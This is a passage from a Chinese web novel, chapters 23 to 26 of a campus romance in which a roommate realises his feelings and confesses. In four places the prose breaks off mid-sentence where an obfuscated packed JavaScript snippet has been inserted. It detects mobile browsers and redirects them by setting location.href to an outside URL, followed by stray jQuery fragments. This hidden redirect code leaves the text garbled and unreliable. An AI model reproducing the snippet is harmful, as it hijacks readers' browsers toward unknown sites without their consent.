:“不明显,主要是我天赋异禀,换成那些直男,根本注意不到一点。” 沈知浔想到谢时泽,他也注意不到一点,但又好像不是那么直,应该称之为薛定谔的直男。 沈知浔这突如其来的小巧思,让阮兆兴八卦之魂蠢蠢欲动,这时突然想起前两天沈知浔发消息问他的问题,睁大眼 :“所以那个不知道自己是直还是弯的人是你啊?” 他惊讶归惊讶,没忘记压低声音,食堂人来人往,这种隐私的事被别人听见就不好了。 沈知浔点头,阮兆兴眨了眨眼,看看沈知浔又看看他对面空无一人的座位,意味深长的在这两个座位上来回转 :“是不是?” 暗示意味十足。 沈知浔轻轻地 :“嗯。” 阮兆兴一脸八卦的笑,忽然远远看见校草在往这边走,他在论坛上看过对方的照片,朝沈知浔挤眉弄眼,笑嘻嘻的 :“我吃过了,先走了,有事微信联系。” 沈知浔看着他走远,谢时泽也端着两碗炒面走过来,他同样看到了阮兆兴,问了一句 :“刚刚那个是你朋友?” 沈知浔点点头 :“嗯,也是原来的舍友。” 谢时泽哦了声,没说什么。 沈知浔不知道为什么,解释了一句 :“是好的舍友。” 谢时泽笑了 :“嗯。” 沈知浔不由看了他一眼,他明明从来没跟谢时泽说过前舍友的坏话,也觉得他们的顾虑是可以理解的事。 但谢时泽却好像从细枝末节里猜到了,而听到阮兆兴是他的前舍友时,也没问什么。 - 沈知浔一般都约谢时泽一起吃午饭,下午有时候他下课早,就会早点回宿舍画画,待在宿舍的时候果然收到了阮兆兴的消息。 阮兆兴估摸了一下时间,觉得前两天才问弯和直的问题,进度不可能这么快 :[所以你现在是什么情况?] 沈知浔 :[在不动声色的追。] 阮兆兴给他点了个赞 :[机智,要不然一个宿舍万一不行,多尴尬。不过我觉得你可以的,我打听过了,校草应该没有谈过恋爱,跟你多配啊,颜值搭,感情经历也搭,还在一个宿舍,这不妥妥上天注定的好姻缘!] 沈知浔看着这条消息弯了下唇,握着铅笔的手在画纸上点了点。虽然知道在事情没有结果之前,谁都会以为自己是特殊的那个。 但谁又能不奢望自己真的特殊呢? 他跟阮兆兴发完消息,继续画画。 身后的宿舍门从外面推开,沈知浔听到声音回头,看到谢时泽,眸光动了动,打了个招呼。 谢时泽也扬了一下嘴角,看到沈知浔在画画,虽然知道他画画的时候会很专注,还是不自主的放轻了动作。 他走过去把专业书放下,坐下准备写作业。沈知浔从谢时泽坐在他旁边的椅子上就有点走神,看似还在研究桌上的练习,实则注意力全在谢时泽身上。 他看着他努力降低自己的存在感,不想打扰到自己,却不知道他的存在就是让自己走神的罪魁祸首。 他低头思索课本上的习题,握着的笔偶尔转一下,当遇到简单的习题时,他的嘴角会微不可察的扬起。 沈知浔渐渐有点走神,待反应过来后,暗自在心里懊恼,宿舍现在只有他们两个人,想了想,从口袋里拿出唇膏。 认真做题的谢时泽不知为何注意到了他这点小动作,握着笔的手顿了顿,偏头看着沈知浔涂唇膏——原来觉得沈知浔的嘴唇润润的不是他的错觉。 沈知浔的嘴唇不涂唇膏形状也很漂亮,很有肉感,只是少了一丝血色,涂了唇膏提了些气色。 谢时泽看着他涂完唇膏,转过头来,像是才发现谢时泽的视线,不好意思地抿了一下唇 :“最近嘴唇有点干。” 谢时泽愣了一秒才反应过来 :“春天嘴唇是很容易干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096326|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂,多喝点热水。” 沈知浔嗯了一声,犹豫地看了他一眼,谢时泽立马问 :“怎么了?” 沈知浔 :“画室不允许带气味重的东西进去,怕沾到画稿上。” 谢时泽几乎是立刻就明白他怕唇膏的味道重,不能在画室涂,说 :“放心,不重的。” 唇膏不是香水,他坐在沈知浔旁边都没有闻到。 沈知浔表情看上去有些无辜 :“你凑近一点呢。” 谢时泽看着他,微微愣了下,沈知浔眼睛直直地望着他,里面澄澈得一览无余,像一汪清澈的湖泊,水波荡漾,恍惚间会让人产生一种错觉——他全部的注意力都在你身上。 全心全意的望着你。 谢时泽不由自主地向他靠近,除此之外,他无法做出别的反应。 “再近一点。” 距离已经被拉近,沈知浔却像是完全无视了,只望着他的眼睛说。 谢时泽似乎能闻到一股淡淡的香味了,像某种水果,他看着近在咫尺的脸,飞快地眨了下眼睛,心跳似乎都在这一刻变快了。 沈知浔看着很镇定,忽略他胸腔里砰砰乱跳的心脏,嗓音听起来很平静 :“要不要闻一下?” 脑海里那根弦绷紧,谢时泽感到前所未有的慌乱,心脏直直地往下坠。 他的视线自然地落到沈知浔的嘴唇上,像是生物的本能,鼻息间已经能嗅到他唇瓣上淡淡的香味。 柔软的唇瓣抹着一层唇油,很提气色,看着润润的,很柔软,谢时泽情不自禁地凑近,想闻清楚究竟是什么水果。 沈知浔的视线直勾勾的看着谢时泽,忽然伸手握住了谢时泽的手。 他就这样视线一刻都不从他身上偏移,满心满眼都倒映出谢时泽的身影,然后握住他的手,拿出润唇膏在他手心画了个什么。 谢时泽跟他对视,像被吸进了漩涡,无法移开视线,感觉沈知浔在他手上画了个心。应该是一颗心,他能感受到唇膏的运行轨迹。 画完后,沈知浔像是才意识到两人的距离靠得太近了,眨了眨眼,看似不动声色,实则很明显地拉开了距离,问 :“味道不重吗?” 谢时泽怔愣了一秒,这才明白沈知浔让他靠近是想在他手上涂唇膏,并不是他以为的那样—— 沈知浔问完就淡定自若的起身去卫生间,关上门,看着镜子里脸红、耳朵红,整个人都像番茄一样,咬了咬唇,再晩一步就会露馅。 宿舍里,谢时泽低头看着手心,一秒、两秒,沈知浔在卫生间,外面空无一人。 他盯着手心,抬起手放在鼻子旁轻轻嗅了嗅,一股很淡很甜的葡萄味,像是有很多夹心的葡萄软糖。 他心底突然滋生出一股莫名的渴望,他想尝手心润唇膏的味道,更想尝沈知浔嘴唇润唇膏的味道。 这个念头蓦地盘旋在脑海。 让谢时泽有点崩溃,拿书挡在自己的脸上,这么生无可恋的情况下还特别小心没有让课本把手心的唇膏蹭掉。 “操。” 谢时泽你真的是变态吗? 24.第二十四章 沈知浔看着镜子里的自己,整张脸都红透了,浅浅地呼出一口气,在卫生间待到脸上的热度都褪去才装作若无其事地走出去。 走到椅子旁坐下准备完善画稿的时候,余光注意到谢时泽在盯着桌上的习题,像是在发呆。 从他进卫生间到出来已经过了挺长的时间,沈知浔没有多想,以为他在思考课本上的习题。 - 一连约谢时泽吃了一个多星期的午饭,沈知浔准备继续将约饭这种潜移默化的追求进行到底的时候,收到了阮兆兴的消息。 他收到消息的时候正在画室,不是上课时间,但因为追谢时泽让他的画画时间、专注力都大打折扣,他要利用碎片时间加倍补回来。 听到消息提示音,放下画笔,动了动酸软的脖颈,活动了一下身体,才从口袋里拿出手机看消息。 阮兆兴在忙碌的课程中想起沈知浔的追人大业,好奇地打听 :[追得怎么样了?什么时候能听到好消息。] 沈知浔如实道 :[进展应该还可以。] 阮兆兴没想到沈知浔连恋爱都没谈过,竟然还真有一套 :[你是怎么追的,不错嘛。] 沈知浔 :[约他中午一起吃饭,然后试探他是不是真的对我不关注、不感兴趣,结果还不错。] 作为一个前直男,和根据谢时泽根本发现不了别人在追他得出的结论,让沈知浔觉得,想要追到谢时泽不能按照常规的套路,得一点点撬开他的心。 沈知浔没追过人,不知道自己总结的方法对不对。幸好,这几天观察下来,结果还不错。 阮兆兴也觉得挺好的 :[那你后续打算怎么做?[吃瓜]] 沈知浔 :[……] 阮兆兴 :[???你不会没想后续吧?] 沈知浔看着手机上发过来的这条消息,可疑的沉默了,几秒后,才慢慢打字 :[继续约他吃饭,然后等我觉得他对我也有意思的时候再表白,这样可以吗?] [!!!]阮兆兴的消息一条接一条 :[当然不行!你知道钓鱼吗?谁钓鱼用直钩啊!] 阮兆兴苦口婆心 :[你这样潜移默化的追他,万一就遇到一个迟钝得要命的怎么办?你觉得你追了他半天,他觉得哇塞,我们真是志同道合的好兄弟,到时候连哭都没地哭。] 沈知浔神色一凛,阮兆兴的话很有感染力,他顺着想了一下,要是真发生这样的情况,他可能真的连哭都找不到地方。 诚心发问 :[所以该怎么办?] 阮兆兴 :[你不是说,你觉得他对你还是很关注的吗?这个时候就可以给他一点危机感了,你得让他意识到,你很抢手,外面有一大片的敌人,让他产生占有欲,然后恍然大悟对待普通朋友是不会有这种占有欲的,这不就开窍了。] 母胎单身的阮兆兴像一个情感大师一样分析的头头是道。 [你想啊,你光温水煮青蛙,保险是保险了,可对方有可能不开窍,也有可能开窍了又钓着你。追人就得快刀斩乱麻,拖得越久越没戏。] 沈知浔不觉得谢时泽会是那种钓着别人的人,可也觉得阮兆兴分析的有点道理 :[那要怎么制造危机感呢?] 阮兆兴 :[这个简单,你找个人带着在他面前晃一圈,或者假装对谁表现出超乎寻常的关注,实际上根本没这个人,只要让他开窍就行了。] 沈知浔看着阮兆兴的消息,好一会儿都没有回复,就在阮兆兴疑惑的时候,终于看到他回复了 :[我不想这样做。] 阮兆兴 :[为什么?] 沈知浔微微蹙着眉头,斟酌了一下 :[因为我在追他,我喜欢的是他,不想用假装关注别人这种方式让他开窍,假的也不行。] 他希望他能完完整整的拥有这份喜欢。 [这样啊。]阮兆兴 :[那这个计划就行不通了,要不你去参加聚会跟人交际交际呢?你们中午不是要一起吃饭吗,你去参加聚会不就不能跟他吃饭了?] [他应该在意你,你平时又不善交际,突然出去聚会不跟他吃饭,怎么想都不对劲啊,要是他对你有意思,多半也能开窍了。] 沈知浔觉得这个计划比假装关注别人靠谱多了 :[可是我找不到能参加的聚会。] 人际关系不好的坏处在这时候就体现出来了,他想参加聚会都找不到能约的人。 [这是什么很难的事吗?]阮兆兴不理解 :[对于我们来说或许有点难度,对于你来说,只要你愿意,就是再简单不过的事,请你正视自己的脸好吗?[抓狂]] [要是知道你肯跟大家一起吃饭、聊天,我保证,没人会不同意的。] 阮兆兴 :[你先找个关系近点的同学问一下,最近有没有聚会,你能不能参加,你就知道答案了。] 沈知浔若有所思,等上课的时候他就将目光投向坐在他旁边的女生。 - 另一边,外语系的专业课上。 谢时泽坐在后排的位置,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101634|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后排,但他成绩很好,一向是老师们重点关注的对象。 他看似在认真听讲,实则仔细观察就会发现他的眼神都没有焦距,早就神游天外了。 谢时泽在想昨天的事,他上网查了想吃润唇膏是什么原因,得到的答案大同小异,都说润唇膏抹在嘴上,是有可能想把它抿掉的。 要么是觉得味道香,要么是单纯的嘴巴忍不住。 这个答案稍稍给了谢时泽一点信心,看,想吃润唇膏也不是奇怪的事,只是他的搜索词一变,变成想吃舍友嘴上的润唇膏…… 底下的答案就变成乱七八糟的,而且连关键词都不一样,比如女朋友涂了润唇膏想亲她;又或者涂了润唇膏说想吃你嘴上的润唇膏是在隐喻什么。 谢时泽搜完整个人都不好了,他觉得这些情况和他和沈知浔的情况不一样,可让他说,他也说不明白哪里不一样。 心不在焉的上完一节课,下节课在别的教学楼,谢时泽拿着课本往外走,目光不经意落在前面两个牵着手的人身上,这节课的教授不怎么严厉,有人带家属来蹭课也不会管。 他只看了一眼,肩膀突然被人拍了拍,转头,一个关系还不错的同学走过来搭他的肩膀,也盯着前面你侬我侬的小情侣,啧啧感叹 :“自从老刘谈了恋爱,连我们这群朋友都不要了,重色轻友。” “何止,听说老刘现在连宿舍都不怎么回了,琢磨着要跟女朋友搬出去住呢,哎,恋爱的腐臭味。”旁边的同学也凑过来说。 搭着谢时泽肩膀的男生语气疑惑 :“是不是谈恋爱了都这样,老刘以前多仗义一人啊,现在我估计我倒在他面前他都要见死不救,可能还嫌弃我挡着他们的路了。” 那名同学 :“这不很正常?换成是你,臭烘烘的大老爷们和香喷喷的女朋友,你选谁?” “……”搭肩的男生前脚刚站在道德制高点指责老刘的不仗义,马上就被问了这种死亡问题,灵机一动,看向一直没说话的谢时泽 :“你问谢哥不更有意义一点,指望我脱单那不得猴年马月去了。” 谢时泽一直听着他们的对话,他身边有不少人谈恋爱,他也没当回事,该干嘛干嘛。 但听着两人讨论谈恋爱的人会怎样重色轻友,连宿舍都不回,他顿时有种说不清道不明的感觉,轻轻啧了一声。 还没说话,口袋里的手机叮咚一声,谢时泽拿出来看,是沈知浔发来的。 [我明天中午要去参加系里的聚餐,不和你一起吃饭了。] 25.第二十五章 谢时泽脚步一顿,看着手机上沈知浔发过来的消息,怔愣了片刻才反应过来。 他示意搭着他肩膀的同学先走,低头回复消息时,眉心不自觉地蹙了起来 :[系里聚餐,我可以去吗?] 沈知浔收到这条回复,思索了两秒,犹豫地看向坐在他旁边位置的女生,对方正在上色,接收到沈知浔的目光,侧头看过来。 沈知浔 :“聚餐我可以多带一个人去吗?” 女生眨眨眼,依然感觉有点不可思议,高岭之花居然主动跟他们拉近关系了 :“可以啊,平时聚餐也有人带家属的。” 她这样说,倒没有觉得沈知浔会带家属,最多就是朋友,怎么说呢,沈知浔看着冷冷清清的,让人不太会对他妄加揣测,只觉得除了画画其他乱七八糟的事都不应该往对方身上联想。 沈知浔得到回复就给谢时泽发过去消息 :[可以的。] 他回复完,想了想,把最新进展告诉了阮兆兴。 阮兆兴在下午课程结束后才看到沈知浔发给他的消息,发过来一串感叹号 :[!!!!] [看来你说的结果还不错是真的不错,只是简单聚个餐,都没用我想的乱七八糟的主意,他就主动提出要跟着你一起去,我不信他真的就缺这顿饭。] 阮兆兴发过来一个“你懂我懂大家懂”的微笑表情包。 沈知浔看着阮兆兴回过来的消息,手指在屏幕上轻点了一下,等回过神才发现嘴角不知什么时候挂上了笑容。 - 第二天沈知浔下午没课,系里同学的聚餐也定在了中午到下午的时间,打算中午吃了饭再去KTV唱歌。 除了沈知浔班上的人,还有别的班上的人,沈知浔不爱交友也对聚餐不怎么感兴趣,大家得知他也要参加,纷纷表示惊讶。 聚会的地点发在了沈知浔的手机上,坐在他隔壁的女生跟他打招呼 :“那我们先走了,一会儿见。” 沈知浔 :“一会儿见。” 他收拾好画具,先回了一趟宿舍,其他人都不在,他思索了几秒,还是换了身更抬肤色的亮色衣服,今天气温又下降了,拿着围巾犹犹豫豫的,不知道要不要系上。 他一边怕冷,一边又觉得本来穿的就比大家都厚,再戴上围巾会显得臃肿,再好看的人裹成个球,好看程度也会大打折扣。 可是风往脖颈里灌的时候又是真的冷。 犹豫片刻,沈知浔还是把围巾放在了桌上,最近的气温比起之前已经高很多了,不戴也没事。 沈知浔坐在宿舍等了几分钟,谢时泽拿着书推开门进来,看见沈知浔扬起嘴角 :“老师拖了会儿堂,现在过去?” 沈知浔点点头,等他放下书,就要往宿舍外走。 谢时泽却停下脚步,上上下下打量了沈知浔一圈,“嘶”了一声,目光落在沈知浔放在桌上的围巾 :“今天外面在刮风,虽然不大,但还是穿暖和点保险。” 他拿起围巾,上前一步,仗着比沈知浔高,轻而易举就给他系好了,还拍了拍系好的围巾 :“差不多了,走吧。” 沈知浔看看自己脖颈上的围巾,又抬眸看看扬起嘴角,显然很满意的谢时泽,对方接收到他的视线 :“怎么了?” 沈知浔有点不知该作何感想 :“……没事。”想到等会儿的聚餐 :“你下午没课吗?” 谢时泽 :“有两节,在下午,吃顿饭的时间还是有的。” 沈知浔又想到阮兆兴说的他不信谢时泽就缺这顿饭,因为这句话后面隐藏的意思,他一路都在思索谢时泽跟来的原因,到底是他和阮兆兴猜测的那样,还是真的缺这一顿饭。 系里聚餐的地点就在附近,天气不好,再加上每个班的课都不太一样,有些人还有课,也不想往远处跑。 出了校门没走几步就找到聚餐的店,沈知浔进去的时候看到里面坐了快十个人,有的眼熟,有的没怎么见过,他冲坐着的人微微颔首。 原本在笑闹的人抬头看到沈知浔,都微微愣了一下,说话的是一个男生,指着陈冉,笑 :“她说你也要来聚餐,我们还以为她在开玩笑呢,没想到是真的。” 沈知浔朝他点了点头,又回头给他们介绍谢时泽 :“这是我……舍友。” 他介绍谢时泽时,停顿了一下,幸好大家转瞬就被沈知浔带来的人吸引了注意力,没注意他这微妙的停顿。 “哇,校草啊,久仰久仰。” “你的舍友竟然是校草吗?” “来这儿坐,我这里有空位置。” 沈知浔原本还担心谢时泽跟着他来聚餐会不自在,席间大多都是不认识的人,但没想到大家见到谢时泽还挺热情。 谢时泽冲他们笑了笑,听到人招呼却没落座,侧头望着沈知浔。 沈知浔看了一眼热情招呼他们的人,旁边确实有位置,便点了点头,迈步走了过去。 谢时泽在他旁边落座。 沈知浔除了和陈冉熟悉一点,跟其他人都不熟,但和陈冉的熟悉程度也就是对方观摩他的画,偶尔对方有搞不定的不想叫老师,他帮忙画两笔。 这家店在学生群体里评价不错,大家点了菜,找了一个话题漫无边际的聊了起来。 菜还没上,沈知浔端着一杯水慢慢喝着,他突然觉得他其实不该来的,因为大家都不熟,也不知道他们是朋友,还是抱着别的什么目的聚在一起,他待在这里并不合群。 他不适应这样饭局,正漫无边际的走神,放在腿上的一只手突然被人握住,愣了一下,顺着那只握着他的手的手腕一直往上看,看到谢时泽正在专注听人说话的侧脸。 他认真的表情让沈知浔茫然地看了他两眼,思考谢时泽到底是想牵他的手才把手放过来的,还是单纯只是累了才把手放过来。 他没发觉,那点微不可察的不适应一下就消弭了,转而在意起了谢时泽一个突如其来的举动。 桌上的话题转到了学校组织的创意节上,大家基本都没报名,却不妨碍他们关注这件发生在他们身边的事。 其中一人问 :“沈知浔,你想好要画什么了吗?” 沈知浔回神,循着声音望过去 :“嗯。” 那人 :“真好,听说其他年级的学长学姐们好多都报名了,竞争可激烈了。” 毕竟他们才大二,距离出社会好像还早,不像大三大四的学长学姐,更需要这次机会。 其他人又就着这个话题聊了起来,都是同系的,沈知浔又是其中的佼佼者,期间难免会夹杂着一两句对沈知浔的夸奖,谢时泽弯着眼睛听的津津有味。 等菜上来了,大家的交谈告一段落,吃过饭后,他们还准备去KTV唱歌,沈知浔却想回去了,他确实不习惯这样的交际场合。 趁着其他人在说话,沈知浔转头问谢时泽 :“你想去唱歌吗?” 谢时泽神色有些懒散 :“不想。” 沈知浔点头,趁着陈冉结账的时候跟她说,他们有事先走了,一会儿把A的钱发给她。 陈冉啊了一声,旁边凑在一起说话的几个人,有人听到他的话,推了其中一个人一把。 沈知浔朝他们的方向看了一眼,那个被推出来的男生见状,站在原地深呼吸了一口气,不太自然地朝他走来。 沈知浔一直到这人走近,都有点茫然。 他认真看了这男生两眼,脑海里并没有什么印象,男生脸上带着点崇拜 :“沈知浔,我是三班的,我们有同一个任课老师,他经常在我们班上夸奖你,今天听到陈冉说你会来,没想到你真的来了。我……看过你的画,你画得非常好,我很喜欢你的画……能不能加一下你的微信?” 男生有点不好意思跟沈知浔对视,沈知浔没说话,像是被这个猝不及防的发展弄懵了。 男生的后面,他的同伴正装作没看这边专心致志的听着,见男生这么不好意思,犹豫了一下,干脆朝这边走了过来。 “沈知浔,你在我们班上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109988|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大名人,不,包括在整个系都是,他真的很崇拜你,就加一下微信吧?” “是啊,我们都看过你参加费而淣夫大赛的获奖作品,画得真的很好,能加个微信探讨下吗?” “是啊是啊……” 七嘴八舌的附和声,沈知浔眼中微微露出诧异的神色,像是搞不清楚这个发展一样。 陈冉结完账出来,看到现场的情况头都大了,沈知浔在系里一直是风云人物,除了班上那几个不太喜欢他的人,其他人谁不欣赏他的画技,又觉得他长得漂亮,简直是高岭之花一般的存在。 只是沈知浔一贯高冷,独来独往,大家不敢造次,今天就跟他们聚了一次,竟然就有要微信的了。 男生说的委婉,但只要不是感情小白就能听出他的意思,陈冉觉得沈知浔脑子里还没有恋爱这根筋,再看他被围着脸上露出一丝丝无措的样子,朝那边走。 还没走近就看到校草过去了。 谢时泽原本站得就不远,径直朝沈知浔走了过去,手一伸就牵住沈知浔的手。 熟悉的气息扑面而来,沈知浔正在心里措辞,要怎么拒绝才能不让别人尴尬,感受到手心的温暖,心一下就定了,不等他们反应过来 :“抱歉。我们还有事,先走了。” 说完,谢时泽就拉着他走,沈知浔松了口气,毫不犹豫地跟他走。 陈冉看着两人的背影,愣了一下,反应过来,急忙走过去 :“等一下,沈知浔,能跟你说两句话吗?” 她说完就感觉一道锐利的视线上上下下地打量着她,偏头就对上校草的目光,她瞬间站得更直了,眼神无辜,想表示自己真的没有别的想法。 谢时泽脸色不太好,看着陈冉没说话。 沈知浔却点点头,谢时泽便松开了他,看着他和那个女生往旁边走了两步。 他站在原地,看着沈知浔和他不认识的人说着他一无所知的话题。 谢时泽眉头一直皱着,身体后知后觉感受到了一点难受,像是从每个角落传来的不舒服的感觉,他微微有些出神。想到刚才看着沈知浔被人要微信的场景。 谢时泽从那个男生满脸不好意思地走过来就觉得烦躁,他尚且理不清这种不好受的感觉,却知道,这是一件和他无关、他不能插手的事。 这个认知让谢时泽更不舒服了,他看着沈知浔被人要微信,听着其他人的附和声,静静的听着。直到沈知浔微微蹙起了眉,一瞬间,他仿若听到了悬在半空的心脏松了口气、空气重新活跃起来的声音。 只有沈知浔表露出了不愿意,他才能上前带走他。 这种感觉不好,非常不好,朋友间应该是互相尊重的,谢时泽从来不会对朋友的私事插手,可那一瞬间他竟然想不管不顾的把沈知浔带走。 不要去听别人的告白。 不要回应别人。 这不对劲,这不应该。 谢时泽看着沈知浔的背影,越来越多的难受堆积,挤压着他的心脏,那种烦躁又找不到原因和发泄口的郁闷。 他定定地望着那道身影,脑海中突然有一个念头越来越清晰。 朋友不应该在乎对方被别人告白,不应该在得知对方出来跟别人聚餐就跟着跑出来,更不应该想要亲他…… 困扰他许久的烦躁在这个突然冒出来的念头后,突然像是拨云见日般明朗了起来。 就在一个他留在原地,看着沈知浔的背影时,倏而明悟。 没有什么惊天动地。让谢时泽想起他曾经在一本书上看到过一段关于爱情的描写 :“……关于爱情,很多人认为明白自己的心意时,必然伴随着很多浪漫的场景,像夏日的骤雨,像晴天里的一道惊雷,却不知爱是带着滞后性的,是生活中无数相处的惊喜叠加。 是阴雨绵绵的雨夜,温馨小屋里,突然产生了想要共度余生的想法。 心动,从来就在此刻,从来就在此时。” 谢时泽站在原地,聆听到了自己心动的声音。 26.第二十六章 沈知浔走到一旁跟陈冉说话。 陈冉看着沈知浔的侧脸,或许是时不时吹拂而过的寒风,他裹得又很严实,气质看上去更加清冷、淡漠。 沈知浔不知道陈冉要跟他说什么,耐心等候着,陈冉不由自主地朝谢时泽的方向看了一眼,眼里隐隐闪动着八卦的光芒,接触到沈知浔询问的眼神,稍微正色 :“等会儿他们还要去KTV,你们是有事吗?” 沈知浔没想到她会提起这茬,啊了一声,犹豫了一下,点了点头 :“还有幅练习没有画,他下午也有课。” 陈冉听到这话,轻轻呼出口气,她知道沈知浔一向很勤奋,语气松快了一点 :“那就不打扰了,我们先走了。” 她似乎只是单纯的想问沈知浔先走的原因,沈知浔微微颔首,正要转身,陈冉看着沈知浔淡漠的侧脸,忍不住又道 :“其实大家都很崇拜你。” 沈知浔侧目。 陈冉 :“知道你想参加聚餐大家都挺高兴的……希望你今天玩得开心。” 沈知浔眼里闪过一抹诧异,点头 :“谢谢。”他顿了顿,表情认真 :“挺开心的。” 陈冉不再多说,特地跟沈知浔解释也是因为他实在和别人不一样,不只是她,就连其他人,面对沈知浔都更加小心翼翼了,远不如面对旁人时大方、得体。 陈冉私心觉得他像艺术系的月光,漂亮、清冷、为人不高傲,不仗着才华看不起人,至于性格冷淡,也不是特意针对谁,而是一视同仁的对所有人都是同样的态度。 据她所知,就连班上最讨厌他的魏林,都一边讨厌他,一边又忍不住欣赏他的画,暗地里比谁都努力想要追赶上他。 这样那样复杂的心理下,大家面对沈知浔就有一种崇拜偶像的小心翼翼感。 陈冉听沈知浔这样说,不再打扰他了,冲他挥手 :“那我们就先走了,明天画室见。” 沈知浔看着她转身离去,回头就对上不远处谢时泽的目光,他神情不自觉的柔和了一点,朝着谢时泽走过去。 两人并肩往前走,沈知浔想到吃饭的钱还没发给陈冉,他怕之后忘了,拿出手机把两个人的钱转了过去。 他给陈冉转钱的时候,谢时泽就安安静静地走在他旁边,时不时看他一眼,又看他一眼,他嘴角不由自主地往弯起,无法克制自己内心激动喜悦的心情般。 在他心底盘旋的疑问消失后,一股陌生的感情充盈着他的心脏,他偏头看沈知浔一眼,胸口像有只活泼乱跳的小鹿在怦怦乱撞,止不住的高兴。 沈知浔察觉到身旁的视线,抬头,对上谢时泽的视线,微微一愣。 谢时泽扬起唇角,眉眼舒朗,他的喜悦像是能感染给别人,沈知浔盯着他看了两秒,只觉得心跳都快了一拍。 他收起手机,听到谢时泽说 :“我能问一下,你们刚刚聊了什么吗?” 沈知浔反应了一秒,如实道 :“她问我回去是不是有事,有点担心我玩的是不是不开心。” “她是组织聚会的人,大概是想对每个人负责,让大家都玩开心吧。” 沈知浔说完,就见谢时泽扬起嘴角,想起什么,唔了一声从口袋里拿出手机翻找一阵,找到一张照片,玩笑似的对他说 :“举办聚会要对参加的人负责?这么简单。” “你要不要考虑一下也对我负责?” 沈知浔一眼就看到谢时泽屏幕上的照片,是他梦游时抱住谢时泽的照片,即便已经看过一次这张照片了,他仍然觉得脸热。 也有点不知道该说什么。 他抬眸打量着谢时泽的神色,他脸上挂着笑,视线直直地落到他身上,在他抬眸时,准确无误的跟他对视上。 沈知浔的心蓦地漏跳一拍,他不算特别了解谢时泽,却也知道他是一个很善解人意,也很尊重别人的人,一般不会开这样的玩笑。 他像……像是在试探什么。 沈知浔意识到了什么,凝神去看谢时泽脸上的表情,他看似随和、眉眼带笑,实则注意力一直放在自己身上,却装出浑然不在意的样子。 沈知浔心里蓦地冒出一个很大胆的念头,他要是这时候跟谢时泽表白,他会答应吗? 他担心表白后万一谢时泽不喜欢自己,那他们住在一个宿舍就会很尴尬,担心要面临搬出宿舍的窘境,也不想到最后连朋友都做不成。 循序渐进,只要不说喜欢,使劲撩也没关系。可是有时候时机来的就是这么巧,在你自己都没做好准备的时候,心就忍不住想要告诉他了。 “我……” 沈知浔动了动唇,话还没说出口,脑袋就被人揉了揉。 谢时泽伸手揉着他的脑袋,似乎不想知道这个答案了,自然地去牵他的手 :“走吧。” 沈知浔表情呆滞,被他拉着走了几步才回神,他张了张嘴,犹豫要不要继续说。 可是刚才的时机已经错过了。 侧头看着牵着他往前走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114876|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢时泽,沈知浔暗暗在心底给自己鼓劲,等走到下一个路灯时,他一定要说。 他全副身心都集中在下一个路灯上,一步步数着距离路灯的步数,一边给自己做心理建设,没注意谢时泽从他跟陈冉交谈回来,心情就非常好。 他嘴角一直带着笑,前所未有的轻松感萦绕在他身上,牵着沈知浔的手走了几步。 停下脚步,转身面对着他,他低着头,眼神落在两人交握的手上 :“沈知浔,有件事我想告诉你。” “什么?”沈知浔看着距离路灯只剩下几步了,他看着面对着他,似乎有些不好意思的谢时泽。 “可能对你来说有点突然。”谢时泽声音很轻,一字一句都很重视 :“因为我也是刚想明白。” 谢时泽一直都是一个比较直的人,面对可能存在的误解,找到机会就直接问出口了,有些话他也喜欢直截了当的说出口。 沈知浔不知道他要说什么,稍稍偏头,眼神专注地望着他。 谢时泽直视着沈知浔的眼睛,他眼睛透彻,眼里亮起了极为璀璨的光,藏不住的心事 :“我喜欢你。” 沈知浔心脏一瞬间停滞了一拍,睁大了眼,第一反应是垂在身侧的手狠狠握紧,指甲深深陷入掌心。 怀疑自己在做梦。 谢时泽看到沈知浔沉默,他其实早有预料,因此并不气馁,他只是想告诉沈知浔他的心意,接不接受都是他的事。 他站在沈知浔面前,嘴角依旧弯着,带着这个年纪的意气风发,和面对爱情一往无前的勇气 